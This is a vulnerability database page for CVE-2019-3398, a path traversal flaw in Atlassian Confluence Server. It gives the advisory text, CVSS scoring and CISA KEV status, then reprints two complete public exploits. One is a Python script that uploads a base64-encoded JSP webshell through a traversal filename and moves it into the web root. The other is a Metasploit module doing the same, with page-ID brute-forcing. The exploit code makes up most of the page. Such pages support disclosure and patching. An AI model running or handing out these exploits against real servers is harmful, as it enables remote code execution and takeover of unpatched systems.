CVE-2019-3398 : Detail

CVE-2019-3398

8.8
/
High
Directory Traversal
A01-Broken Access Control
95.73%V3
Network
2019-04-18
17h21 +00:00
2025-02-07
12h26 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs or to create a new space or a personal space or who has 'Admin' permissions for a space can exploit this path traversal vulnerability to write files to arbitrary locations which can lead to remote code execution on systems that run a vulnerable version of Confluence Server or Data Center. All versions of Confluence Server from 2.0.0 before 6.6.13 (the fixed version for 6.6.x), from 6.7.0 before 6.12.4 (the fixed version for 6.12.x), from 6.13.0 before 6.13.4 (the fixed version for 6.13.x), from 6.14.0 before 6.14.3 (the fixed version for 6.14.x), and from 6.15.0 before 6.15.2 are affected by this vulnerability.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Atlassian Confluence Server and Data Center Path Traversal Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2021-11-02 23h00 +00:00

Action is due : 2022-05-02 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 47621

Publication date : 2019-11-11 23h00 +00:00
Author : max7253
EDB Verified : No

# Exploit Title: Atlassian Confluence 6.15.1 - Directory Traversal # Google Dork: N/A # Date: 2019-11-11 # Exploit Author: max7253 # Vendor Homepage: https://www.atlassian.com # Software Link: https://www.atlassian.com/software/confluence/download-archives # Version: 6.15.1 # Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, Linux 5.0.0-23-generic #24~18.04.1-Ubuntu # CVE : 2019-3398 #Confluence Arbitrary File Write via Path Traversal (CVE-2019-3398) #To use this exploit you should specify the following variables: #OS - Linux or Windows. #PROTO - http or https. #USERNAME and PASSWORD - the login/password to log into the web interface of the Atlassian Confluence server. #HOSTNAME - the domain name or IP address of the server and its port. #ROOTFOLDER - the root directory of the web server. If the root directory is located in C:\confluence\pages\, set this variable to ROOTFOLDER = 'confluence/pages/'. #Typical ROOTFOLDER locations are: #Windows: Program Files/Atlassian/Confluence/confluence/pages/ #Linux: opt/atlassian/confluence/confluence/pages/ #Note that the root directory of the web server and the temporary directory of the Atlassian Confluence server on Windows must be on the same drive (C:\ in the example above). #PAGEID - the pageId URL parameter you see in the browser address bar when you vist the Atlassian Confluence page where you have rights to upload files. #For example, https://server.net/pages/viewpageattachments.action?pageId=111111111&metadataLink=true. #If PAGEID is set to 0, the script will try to create a new Page ID in one of the available spaces. If it fails, it will try to create a new space and create a Page ID there. #If PAGEID is not specified, the script will walk though the PAGEID_RANGE_START..PAGEID_RANGE_END range and try to upload shellcode till it succeeds. #The script gets authenticated to the Atlassian Confluence server, retrieves the ATLASSIAN TOKEN from the server response, uploads the webshell, then imitates the 'Download all' action to place the webshell to the root directory of the web server. #Tested on Atlassian v6.15.1. on Linux and Windows. #Note that on Linux Confluence runs under the 'confluence' account which may not have rights to save files in the root directory of the web server. In this case the exploit will fail. Also, to create a new space and get the list of existing spaces the script makes use of Confluence REST API, which is available starting from Confluence Server 5.5. import requests import urllib3 import base64 from bs4 import BeautifulSoup import numpy as np import re import json urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) OS = 'Windows' #change this parameter PROTO = 'http' #change this parameter USERNAME = 'test' #change this parameter PASSWORD = 'test' #change this parameter HOSTNAME = '192.168.198.144:8090' #change this parameter ROOTFOLDER = 'Program Files/Atlassian/Confluence/confluence/pages/' #change this parameter (Windows) #ROOTFOLDER = 'opt/atlassian/confluence/confluence/pages/' #change this parameter (Linux) PAGEID = '0'#'1245201' #change this parameter PAGEID_RANGE_START = np.int64(1) #change this parameter PAGEID_RANGE_END = np.int64(999999999999) #change this parameter ATLTOKEN = '' LOGINURL = '%s://%s/dologin.action' % (PROTO, HOSTNAME) UPLOADURL = '%s://%s/plugins/drag-and-drop/upload.action' % (PROTO, HOSTNAME) DOWNLOADALLURL = '%s://%s/pages/downloadallattachments.action' % (PROTO, HOSTNAME) CREATEPAGEURL = '%s://%s/pages/createpage.action?spaceKey=' % (PROTO, HOSTNAME) VIEWSPACESURL= '%s://%s/rest/api/space' % (PROTO, HOSTNAME) WEBSHELLURL = '%s://%s/pages/assist.jsp' % (PROTO, HOSTNAME) SHELLCODE_WINDOWS = 'PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLiosamF2YS5uZXQuKiIlPgo8SFRNTD \ 48Qk9EWT4KPEZPUk0gTUVUSE9EPSJQT1NUIiBOQU1FPSJib29raW5nIiBBQ1RJT049IiI+CjxJTlBV \ VCBUWVBFPSJ0ZXh0IiBOQU1FPSJjbWQiPgo8SU5QVVQgVFlQRT0ic3VibWl0IiBWQUxVRT0iU2VuZC \ I+CjwvRk9STT4gCjxwcmU+CjwlIApcdTAwNjlcdTAwNjZcdTAwMjBcdTAwMjhcdTAwNzJcdTAwNjVc \ dTAwNzFcdTAwNzVcdTAwNjVcdTAwNzNcdTAwNzRcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNT \ BcdTAwNjFcdTAwNzJcdTAwNjFcdTAwNkRcdTAwNjVcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAw \ MjJcdTAwNjNcdTAwNkRcdTAwNjRcdTAwMjJcdTAwMjlcdTAwMjBcdTAwMjFcdTAwM0RcdTAwMjBcdT \ AwNkVcdTAwNzVcdTAwNkNcdTAwNkNcdTAwMjlcdTAwMjBcdTAwN0JcdTAwMEFcdTAwMjBcdTAwMjBc \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wNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwMjFcdTAwM0RcdTAwMjBcdTAwNkVcdTAwNzVcdTAwNkNc \ dTAwNkNcdTAwMjBcdTAwMjlcdTAwMjBcdTAwN0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMj \ BcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAw \ MjBcdTAwMjBcdTAwMjBcdTAwNkZcdTAwNzVcdTAwNzRcdTAwMkVcdTAwNzBcdTAwNzJcdTAwNjlcdT \ AwNkVcdTAwNzRcdTAwNkNcdTAwNkVcdTAwMjhcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjlc \ dTAwM0JcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNj \ RcdTAwNjlcdTAwNzNcdTAwMkVcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNjRcdTAwNENcdTAwNjlcdTAw \ NkVcdTAwNjVcdTAwMjhcdTAwMjlcdTAwM0JcdTAwMjBcdTAwN0RcdTAwMEFcdTAwMjBcdTAwMjBcdT \ AwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwN0QKJT4KPC9wcmU+CjwvQk9EWT48 \ L0hUTUw+' session = requests.session() #proxies = { # 'http': 'http://127.0.0.1:8080', # 'https': 'https://127.0.0.1:8080' #} def do_authenticate(): global ATLTOKEN auth_form_data = { 'os_username': USERNAME, 'os_password': PASSWORD, 'login': 'Log+in', 'os_destination': '' } r = session.post(LOGINURL, data=auth_form_data, allow_redirects=True, verify=False)#, proxies=proxies) if r.text.find('re-enter your login') != -1: print 'Authentication failed' return 0 elif r.text.find('Sorry, your username and/or password are incorrect') != -1: print 'Authentication failed' return 0 elif r.text.find('Unauthorized') != -1: print 'Unauthorized' return 0 else: print 'Authentication successful' soup = BeautifulSoup(r.text, 'html.parser') ATLTOKEN = soup.find('meta', {'id': 'atlassian-token'})['content'] print 'Atlassian token %s' % (ATLTOKEN) return 1 def do_upload(_pageid): if OS == 'Windows': upload_form_data = SHELLCODE_WINDOWS upload_req_params = { 'pageId': _pageid, 'filename': '../../../../../../../../../../' + ROOTFOLDER + 'assist.jsp', 'size': '3474', 'mimeType': 'text/plain', 'spaceKey': 'isis', 'atl_token': ATLTOKEN, 'name': 'assist' } elif OS == 'Linux': upload_form_data = SHELLCODE_LINUX upload_req_params = { 'pageId': _pageid, 'filename': '../../../../../../../../../../' + ROOTFOLDER + 'assist.jsp', 'size': '3516', 'mimeType': 'text/plain', 'spaceKey': 'isis', 'atl_token': ATLTOKEN, 'name': 'assist' } print 'Uploading webshell' r = session.post(UPLOADURL, params=upload_req_params, data=base64.decodestring(upload_form_data), allow_redirects=True, verify=False)#, proxies=proxies) if r.status_code == 200 and r.text.find('actionErrors') == -1: print 'Webshell uploaded' return 1 else: print 'Error while uploading webshell' return 0 def do_downloadall(_pageid): downloadall_req_params = { 'pageId': _pageid } print 'Moving webshell to the root directory of the web server' r = session.get(DOWNLOADALLURL, params=downloadall_req_params, allow_redirects=True, verify=False)#, proxies=proxies) r = session.get(WEBSHELLURL, allow_redirects=True, verify=False)#, proxies=proxies) if r.status_code == 200: print 'Webshell found' print 'Visit %s' % WEBSHELLURL return 1 else: print 'Webshell not found' return 0 def do_getspaces(): print 'Getting spaces' r = session.get(VIEWSPACESURL, allow_redirects=True, verify=False)#, proxies=proxies) spacelist = re.findall(r'\"key\":\"(\w+)\"', r.text) return spacelist def do_createspace(): print 'Creating space' upload_form_data = json.dumps({ "key": "TST1", "name": "Example space", "description": { "plain": { "value": "This is an example space", "representation": "plain" } }, "metadata": {} }) headers = { 'Content-Type': 'application/json' } r = session.post(VIEWSPACESURL, data=upload_form_data, headers=headers, allow_redirects=True, verify=False)#, proxies=proxies) matched = re.match(".*\"key\":\"(\w+)\".*", r.text) if matched: print 'Space created' return matched.group(1) else: print 'Space not created' return 0 def do_createpage(space): global PAGEID print 'Trying %s space' % (space) r = session.get(CREATEPAGEURL+space, allow_redirects=True, verify=False)#, proxies=proxies) if r.status_code == 200 and r.text.find('ajs-draft-id') != -1: soup = BeautifulSoup(r.text, 'html.parser') pageid = soup.find('meta', {'name': 'ajs-draft-id'})['content'] pageid_pattern = re.compile("^(\d+)$") if pageid_pattern.match(pageid): PAGEID = pageid print 'Page ID created %s' % (pageid) return 1 else: print 'Unexpected Page ID format' return 0 else: print 'Page ID not created' return 0 def main(): if do_authenticate() != 1: exit() if PAGEID != '': if PAGEID == '0': spaces = do_getspaces() for sp in spaces: if do_createpage(sp) == 1: if do_upload(PAGEID) != 1: continue if do_downloadall(PAGEID) != 1: continue else: exit() new_sp = do_createspace() if new_sp != 0: if do_createpage(new_sp) == 1: if do_upload(PAGEID) != 1: exit() if do_downloadall(PAGEID) != 1: exit() exit() else: exit() else: exit() if do_upload(PAGEID) != 1: exit() if do_downloadall(PAGEID) != 1: exit() else: ID = PAGEID_RANGE_START while ID <= PAGEID_RANGE_END: print 'Trying Page Id %d' % (ID) if do_upload(ID) == 1: if do_downloadall(ID) == 1: break ID += 1 if __name__ == "__main__": main()
Exploit Database EDB-ID : 47635

Publication date : 2019-11-11 23h00 +00:00
Author : max7253
EDB Verified : No

# Exploit Title: Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit) # Google Dork: N/A # Date: 2019-11-11 # Exploit Author: max7253 # Vendor Homepage: https://www.atlassian.com # Software Link: https://www.atlassian.com/software/confluence/download-archives # Version: 6.15.1 # Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, Linux 5.0.0-23-generic #24~18.04.1-Ubuntu # CVE : N/A ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Confluence Arbitrary File Write via Path Traversal (CVE-2019-3398)", 'Description' => %q{ To use this exploit you should specify the following variables: USERNAME and PASSWORD - the login/password to log into the web interface of the Atlassian Confluence server. ROOTFOLDER - the root directory of the web server. If the root directory is located in C:\confluence\pages\, set this variable to ROOTFOLDER = 'confluence/pages/'. Typical ROOTFOLDER locations are: Windows: Program Files/Atlassian/Confluence/confluence/pages/ Linux: opt/atlassian/confluence/confluence/pages/ Note that the root directory of the web server and the temporary directory of the Atlassian Confluence server on Windows must be on the same drive (C:\ in the example above). PAGEID - the pageId URL parameter you see in the browser address bar when you vist the Atlassian Confluence page where you have rights to upload files. For example, https://server.net/pages/viewpageattachments.action?pageId=111111111&metadataLink=true. If PAGEID is set to 0, the script will try to create a new Page ID. If it fails, it will try to create a new space and create a Page ID there. If PAGEID is not specified, the script will walk though the PAGEID_RANGE_START..PAGEID_RANGE_END range. The script gets authenticated to the Atlassian Confluence server, retrieves the ATLASSIAN TOKEN from the server response, uploads the shellcode, then imitates the 'Download all' action to place the shellcode to the root directory of the web server. Tested on Atlassian v6.15.1. on Linux and Windows. Note that on Linux Confluence runs under the 'confluence' account which may not have rights to save files in the root directory of the web server. In this case the exploit will fail. Also, to create a new space and get the list of existing spaces the script makes use of Confluence REST API, which is available starting from Confluence Server 5.5. }, 'License' => MSF_LICENSE, 'Author' => [ 'Maxim Guslyaev' # Metasploit module ], 'References' => [ [ 'CVE', '2019-3398' ], [ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-17-968660855.html' ], [ 'URL', 'https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181'], [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2019-3398'] ], 'Privileged' => false, 'Platform' => %w{ linux win }, 'Targets' => [ [ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_JAVA }], [ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_JAVA }] ], 'DefaultOptions' => { 'RPORT' => 8090, 'SSL' => false }, 'DisclosureDate' => 'Nov 9 2019', 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [true, 'The login to log into the web interface of the Atlassian Confluence server', 'test']), OptString.new('PASSWORD', [true, 'The password to log into the web interface of the Atlassian Confluence server', 'test']), OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'Program Files/Atlassian/Confluence/confluence/pages/']), #OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'opt/atlassian/confluence/confluence/pages/']), OptString.new('FILENAME', [true, 'The JSP shellcode file name', 'covfefe.jsp']), OptString.new('TARGETURI', [true, 'The base to Confluence', '/']), OptString.new('NEWSPACE', [false, 'A new space to be created', 'TESTSPACE432545645']), OptInt.new('PAGEID', [false, 'A Page ID to be used to upload shellcode', 0]), OptInt.new('PAGEID_RANGE_START', [false, 'The first Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '1']), OptInt.new('PAGEID_RANGE_END', [false, 'The last Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '999999999']), ], self.class) end def do_authenticate print_status("Sending POST request to the web application (authentication)...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, '/dologin.action'), 'method' => 'POST', 'vars_post' => { 'os_username' => datastore['USERNAME'], 'os_password' => datastore['PASSWORD'], 'os_destination' => '', 'login' => 'Log+In' } }) if res.nil? print_status("Unable to access the web application!") return 0 end @sessid = get_sid(res) if @sessid.nil? print_status("Unable to retrieve session ID!") return 0 end print_status("Getting Session ID from the web application... #{@sessid}") if res && res.redirect? location = res.redirection if location.nil? print_status("Unable to access the web application when redirected!") return 0 end res = send_request_cgi!({ 'uri' => normalize_uri(target_uri.path.to_s, location.to_s), 'method' => 'GET', 'headers' => { 'Cookie' => @sessid } }, redirect_depth = 5) end if res && res.code == 200 if res.body =~ /re-enter\syour\slogin/ || res.body =~ /Sorry,\syour\susername\sand\/or\spassword\sare\sincorrect/ || res.body =~ /Unauthorized/ print_status("Authentication failed...") return 0 end @xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content'] if @xsrf_token.nil? or @xsrf_token.blank? print_status("Failed to retrieve XSRF token...") return 0 else print_status("Retrieving XSRF token... #{@xsrf_token}") return 1 end else print_status("Unexpected response from the web application...") return 0 end end def do_upload(_pageid) print_status("Sending POST request to the web application (shellcode upload)...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, '/plugins/drag-and-drop/upload.action'), 'method' => 'POST', 'vars_get' => { 'pageId' => _pageid, 'filename' => '../../../../../../../../../../' + datastore['ROOTFOLDER'] + datastore['FILENAME'], 'size' => payload.encoded.length, 'mimeType' => 'text/plain', 'spaceKey' => 'isis', 'atl_token' => @xsrf_token, 'name' => datastore['FILENAME'] }, 'data' => payload.encoded, 'headers' => { 'Connection' => 'close', 'Accept' => '*/*', 'Accept-Encoding' => 'identity', 'Cookie' => @sessid, 'Content-Length' => payload.encoded.length, 'Content-Type' => 'text/plain' } }) if res && res.code == 200 && res.body.scan(/actionErrors/).blank? print_status("Shellcode uploaded...") return 1 else return 0 end end def do_downloadall(_pageid) for downloadall_iter in 1..10 print_status("Sending GET request to the web application (downloadall)...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, '/pages/downloadallattachments.action'), 'method' => 'GET', 'vars_get' => { 'pageId' => _pageid }, 'headers' => { 'Cookie' => @sessid } }) print_status("Sending GET request to the web application (shellcode invokation)...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, '/pages/' + datastore['FILENAME']), 'method' => 'GET', 'headers' => { 'Cookie' => @sessid } }, timeout = 10) if res && res.code == 200 print_status("Shellcode found...") return 1 else if downloadall_iter == 10 print_status("Shellcode not found...") return 0 end end end end def do_getspaces print_status("Sending GET request to the web application (getting available spaces)...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, '/rest/api/space'), 'method' => 'GET', 'headers' => { 'User-Agent' => 'python-requests/2.20.0', 'Cookie' => @sessid, 'Accept' => '*/*', 'Accept-Encoding' => 'identity', 'Content-Type' => 'application/json' } }) if res && res.code == 200 && res.body =~ /results/ space_list = res.body.scan(/\"key\":\"(\w+)\"/).flatten else space_list = Array([]) end return space_list end def do_createspace print_status("Sending POST request to the web application (creating a space)...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, '/rest/api/space'), 'method' => 'POST', 'data' => { "key": datastore['NEWSPACE'], "name": "Example space", "description": { "plain": { "value": "This is an example space", "representation": "plain" } }, "metadata": {} }.to_json, 'headers' => { 'User-Agent' => 'python-requests/2.20.0', 'Cookie' => @sessid, 'Accept-Encoding' => 'identity', 'Content-Type' => 'application/json' } }) if res && res.code == 200 && res.body =~ /\"key\":\"\w+\"/ print_status("Space created...") return res.body.scan(/\"key\":\"(\w+)\"/).flatten[0] else print_status("Space not created...") return 0 end end def do_createpage(_space) print_status("Sending GET request to the web application (creating Page ID), space #{_space}...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, '/pages/createpage.action?spaceKey='+_space), 'method' => 'GET', 'headers' => { 'Cookie' => @sessid } }) if res && res.code == 200 && res.body =~ /ajs-draft-id/ pageid = res.get_html_document.at('meta[@name="ajs-draft-id"]')['content'] pageid_parsed = /(\d+)/.match(pageid) if pageid_parsed.nil? print_status("Unexpected Page ID format...") return 0 else print_status("Page ID created... #{pageid}") datastore['PAGEID'] = pageid return 1 end else return 0 end end def get_sid(res) if res.nil? return '' end res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || '' end def exploit print_status("Getting authenticated to the web application...") if do_authenticate != 1 fail_with(Failure::Unknown, 'Initial access or authentication error!') end unless datastore['PAGEID'].blank? if datastore['PAGEID'] == 0 print_status("Creating Page ID...") spaces = do_getspaces for sp in spaces if do_createpage(sp) == 1 print_status("Uploading shellcode...") if do_upload(datastore['PAGEID']) != 1 print_status("Failed to upload shellcode...") next end print_status("Invoking shellcode...") if do_downloadall(datastore['PAGEID']) != 1 print_status("Failed to invoke shellcode...") next else return end end end print_status("Trying to create a new space...") new_sp = do_createspace if new_sp != 0 if do_createpage(new_sp) == 1 print_status("Uploading shellcode...") if do_upload(datastore['PAGEID']) != 1 fail_with(Failure::Unknown, 'Error while uploading shellcode!') end print_status("Invoking shellcode...") if do_downloadall(datastore['PAGEID']) != 1 fail_with(Failure::Unknown, 'Error while invoking shellcode!') end return else fail_with(Failure::Unknown, 'Error while creating page in the newly created space!') end else fail_with(Failure::Unknown, 'Error while creating space!') end end print_status("Uploading shellcode...") if do_upload(datastore['PAGEID']) != 1 fail_with(Failure::Unknown, 'Error while uploading shellcode!') end print_status("Invoking shellcode...") if do_downloadall(datastore['PAGEID']) != 1 fail_with(Failure::Unknown, 'Error while invoking shellcode!') end else for id in datastore['PAGEID_RANGE_START']..datastore['PAGEID_RANGE_END'] print_status("Trying Page Id #{id}") print_status("Uploading shellcode...") if do_upload(id) == 1 print_status("Invoking shellcode...") if do_downloadall(id) == 1 break end end end end end def check res = send_request_cgi!({ 'uri' => normalize_uri(target_uri.path.to_s, '/login.action?anon=1&logout=1'), 'method' => 'GET', }, redirect_depth = 5) if res && res.body =~ /Powered\sby/ ver = res.body.scan(/^.*Powered\sby\s.*(\d{1,}\.\d{1,}\.\d{1,}).*$/).flatten[0] print_status("The version of the web application is #{ver}") ver_parsed = /(\d+)\.(\d+)\.(\d+)/.match(ver.to_s) if ver_parsed.nil? print_status("The version of the web application couldn't be parsed") return Exploit::CheckCode::Detected end ver_oct1 = ver_parsed[1].to_i ver_oct2 = ver_parsed[2].to_i ver_oct3 = ver_parsed[3].to_i if ver_oct1.between?(2, 6) && ver_oct2.between?(0, 6) && ver_oct3.between?(0, 12) || ver_oct1.between?(6, 6) && ver_oct2.between?(7, 12) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(13, 13) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(14, 14) && ver_oct3.between?(0, 2) || ver_oct1.between?(6, 6) && ver_oct2.between?(15, 15) && ver_oct3.between?(0, 1) return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end else return Exploit::CheckCode::Unknown end end end

Products Mentioned

Configuraton 0

Atlassian>>Confluence_server >> Version From (including) 2.0 To (excluding) 6.6.13

Atlassian>>Confluence_server >> Version From (including) 6.7.0 To (excluding) 6.12.4

Atlassian>>Confluence_server >> Version From (including) 6.13.0 To (excluding) 6.13.4

Atlassian>>Confluence_server >> Version From (including) 6.14.0 To (excluding) 6.14.3

Atlassian>>Confluence_server >> Version From (including) 6.15.0 To (excluding) 6.15.2

References

https://seclists.org/bugtraq/2019/Apr/33
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/bid/108067
Tags : vdb-entry, x_refsource_BID